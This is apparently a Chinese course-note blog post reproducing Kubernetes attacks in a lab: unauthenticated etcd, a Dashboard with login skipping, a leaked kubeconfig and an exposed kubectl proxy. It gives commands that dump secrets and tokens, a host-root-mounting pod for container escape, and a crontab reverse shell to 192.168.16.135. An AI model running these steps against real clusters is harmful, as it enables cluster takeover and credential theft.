Day98:云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

云原生-K8s安全-etcd(Master-数据库)未授权访问

实战中不会常见,利用条件比较苛刻。

默认通过证书认证,起一个数据库作用。主要存放节点的数据,如一些token和证书。

攻击23791端口

 

配置映射:

/etc/kubernetes/manifests/etcd.yaml

62a0cf5dd2ae4ae3af6623851da8ff66.png

 

 

3594e2fed0a94d3d959a4eba4d13b46c.png

第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert(证书)进行认证访问,一般配合ssrf或其他利用,较为鸡肋。只能本地访问,直接未授权访问获取secrets和token利用

 

第三种(满足):实战中在安装k8s默认的配置2379只会监听本地(127.0.0.1),如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。只能本地访问,利用ssrf或其他进行获取secrets和token利用

 

复现搭建

 

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

 

复现利用:etcdV2/V3版本利用参考:

 

https://www.cnblogs.com/qtzd/p/k8s_etcd.html

 

https://www.wangan.com/p/7fy7f81f02d9563a

 

暴露etcd未授权->获取secrets&token->通过token访问API-Server接管

 

etcdV2版本利用

直接访问http://ip:2379/v2/keys/?recursive=true ,可以看到所有的key-value值。(secrets token)

1dab5172ddaf419d8204375cc956d1f6.png

etcdV3版本利用

安装etcdctl:https://github.com/etcd-io/etcd/releases

安装kubectl:在 Linux 系统中安装并设置 kubectl | Kubernetes

 

1、连接提交测试

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix

./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"

./etcdctl --

endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"

./etcdctl --

endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"

 

2、获取k8s的secrets

 

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/

3、读取service account token

 

./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

 

./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z

4、通过token访问API-Server,获取集群的权限

 

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管

 

云原生-K8s安全-Dashboard(Master-web面板)未授权访问

默认端口:8001(一般会被映射成别的端口)

配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。

kubernetes dashboard的未授权其实分两种情况:

一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。

另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。

复现利用

 

前提条件:

 

用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard

Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)

1、安装

https://blog.csdn.net/justlpf/article/details/130718774

# 下载yaml

wget  https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml

62d93edafc43485e8fa378be6c8e09cb.png

# 修改kubernetes-dashboard的Service类型

kind: Service

apiVersion: v1

metadata:

  labels:

    k8s-app: kubernetes-dashboard

  name: kubernetes-dashboard

  namespace: kubernetes-dashboard

spec:

  type: NodePort  # 新增

  ports:

    - port: 443

      targetPort: 8443

      nodePort: 30009  # 新增

  selector:

    k8s-app: kubernetes-dashboard

434b233854ab4130a6df4adc77f2529b.png

# 部署

[root@k8s-master01 ~]# kubectl create -f recommended.yaml

ed7a78cb5e8d45d4be61111eaaf11c5f.png

拉取镜像,并且修改版本

sudo docker pull kubernetesui/dashboard:v2.0.0

sudo docker pull kubernetesui/metrics-scraper:v1.0.1

d314b3b26c84451aaa913d573d060ae3.png

# 查看namespace下的kubernetes-dashboard下的资源

[root@k8s-master01 ~]# kubectl get pod,svc -n kubernetes-dashboard

NAME                                            READY   STATUS    RESTARTS   AGE

pod/dashboard-metrics-scraper-c79c65bb7-zwfvw   1/1     Running   0          111s

pod/kubernetes-dashboard-56484d4c5-z95z5        1/1     Running   0          111s

 

NAME                               TYPE       CLUSTER-IP      EXTERNAL-IP  PORT(S)         AGE

service/dashboard-metrics-scraper  ClusterIP  10.96.89.218    <none>       8000/TCP        111s

service/kubernetes-dashboard       NodePort   10.104.178.171  <none>       443:30009/TCP   111s

dc70191de84f4e208fef792121e06225.png

2.创建访问账户,获取token

# 创建账号

[root@k8s-master01-1 ~]# kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

 

# 授权

[root@k8s-master01-1 ~]# kubectl create clusterrolebinding dashboard-admin-rb --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin

 

# 获取账号token

[root@k8s-master01 ~]#  kubectl get secrets -n kubernetes-dashboard | grep dashboard-admin

dashboard-admin-token-q8lts        kubernetes.io/service-account-token   3      2m35s

21e971ea10ab4a849662e1ac9299939d.png

[root@k8s-master01 ~]# kubectl describe secrets dashboard-admin-token-q8lts -n kubernetes-dashboard

7540d4233e904cf1a07de6899d603cab.png

token:      eyJhbGciOiJSUzI1NiIsImtpZCI6IndRaUdIQW1aVjE0bnRCcUo1OGlIUTExWXlXbDloTTBnODNwSmJIQzlILWMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkYXNoYm9hcmQtYWRtaW4tdG9rZW4tcThsdHMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGFzaGJvYXJkLWFkbWluIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiM2QyYWMyOWUtM2QxNS00M2EzLWE3ODAtMjI0M2Y5NTVjYzhlIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmRhc2hib2FyZC1hZG1pbiJ9.d9PiJa2WmxOFg0fMYIMfwoRK0KO010CfUCjXLTWpfnG_PapdJNU10FGo9_IsoJT79AFOfIaewvEJyz11ZSFexZq6K9Z5W2v8CMUZIV03zgS0vVkd3LJy8CEQPU8zOYgB1ND8cNFnpecPJULsJ5mU1XF_VqsRnGZUX5HZpWu91moaAKdWIjj7R8C-ABZ6QnD7zRL6jWcb4Zrm2KY6R40x-ZGDG89Gkut6fe3XE2_67LeeHRZgaBFC3bfDSA_j41LA36GXgOqxrRO7-hNczpLuNWFpB1tx5XSx_-B9rFA4MPcVaDOzuMewvyb_BOxsRwkY_bLLh1eQHWkPGGzwBGivoQ

4bac2021e16e467d8e59d2ec73c1b415.png

3.通过浏览器访问Dashboard的UI

在登录页面上输入上面的token

024441fde39c48f8b41677270778ecc5.png

登录成功了

37ea23613ed041c9b17fa3670a8640ca.png

            - --enable-skip-login

99a324a2761b4ab1ba24a06bb1f25834.png

重新加载

kubectl delete -f recommended.yaml

a43c68b9f9a7456baf5f60fb4444227c.png

kubectl create -f recommended.yaml

再次拉取镜像

sudo docker pull kubernetesui/dashboard:v2.0.0

efee336e934c4c44a232f9d287fd13a0.png

 

31d5c15a03bf475aa0d732d1aee533c7.png

3、卸载

kubectl delete -f recommended.yaml

4、查看状态

kubectl get pod,svc -n kubernetes-dashboard

5、利用:新增Pod后续同前面利用一致

apiVersion: v1      

kind: Pod                

metadata:                

  name: xiaodi

spec:                    

  containers:              

  - name: test-container

    image: nginx

    volumeMounts:    

    - name: test-volume

      mountPath: /mnt

  volumes:

  - name: test-volume   

    hostPath:     

         path: /

9513deca253c49c6b855203e210ecadb.png

创建成功了

抱错

pods is forbidden: User "system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard" cannot create resource "pods" in API group "" in the namespace "default"

解决:

kubectl create clusterrolebinding gitlab-cluster-admin --clusterrole=cluster-admin --group=system:serviceaccounts --namespace=default

 

a57f6795a4484ea0a7cbcd6dc67fef2e.png

创建成功

2fc7103f22c049279980c26c390ce9d7.png

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.16.135/4477 0>&1\n" >> /mnt/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

其中一个节点写入

e1fd7890666b45fa8995cb0cd4c6f4e7.png

找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸

f05b300a87ee4b6c980c044cdded6bbd.png

云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。

K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

 

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存

在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:

 

如果提供了--kubeconfig参数,就使用提供的kubeconfig文件

如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件

如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/.kube/config

de80173e0d5d41468a381d9c3c451a66.png

 

复现利用:K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸

 

1、将获取到的config复制

2、安装kubectl使用config连接

安装kubectl:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

连接:

kubectl -s https://192.168.16.144:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

d015282186634372aef3982c0476d206.png

3、上传利用test.yaml创建pod

kubectl -s https://192.168.16.144:6443/ apply -f test.yaml -n default --kubeconfig=config

b10342eeeac8489cab30716c5bb95836.png

4、连接pod后进行容器挂载逃逸

kubectl -s https://192.168.16.144:6443/ exec -it xiaodi bash -n default --kubeconfig=config

8d9a2adb2af64e989ed54e350f749794.png

失败了

cd /mnt

chroot . bash

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.16.135/4477 0>&1\n" >> /mnt/etc/crontab

把反弹shell命令写进宿主机的计划任务里,那么反弹的shell就是宿主机的shell了

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy

使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

f065b7d5b528469b8bd198b6ffaf0cc0.png

环境搭建

kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009  

c496ce38914943229caa63567a44bf1b.png

 

782c60413b844ff883d5aae669a1a129.png

复现利用:类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
找到暴露入口点,根据类型选择合适方案

kubectl.exe -s 192.168.16.144:8009 get nodes

346672117b8f4f25955dacbb90b28529.png

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值